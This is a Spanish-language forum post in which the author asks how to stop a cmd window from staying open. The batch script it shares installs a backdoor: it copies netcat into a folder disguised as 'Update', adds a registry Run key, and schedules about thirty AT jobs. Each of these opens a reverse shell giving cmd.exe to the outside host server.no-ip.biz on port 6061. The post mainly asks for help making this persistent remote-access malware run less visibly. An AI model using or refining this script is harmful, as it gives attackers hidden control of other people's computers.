Pero cuando se agregan las entradas a las tareas programadas, en lugar de cerrarse se queda la ventana de cmd abierta.
Que puedo hacer para mejorar mi codigo??
Código:
@echo off
mkdir C:\Update
move /Y nc.exe C:/Update
move /Y wget.exe C:/Update
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v Netcat /d "C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"
AT 11:15p /INTERACTIVE /every:1 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:2 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:3 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:4 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:5 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:6 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:7 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:8 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:9 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:10 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:11 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:12 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:13 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:14 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:15 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:16 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:17 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:18 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:19 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:20 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:21 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:22 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:23 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:24 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:25 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:26 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:27 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:28 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:29 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:30 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
start /B "C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"
exit
Muchas Gracias.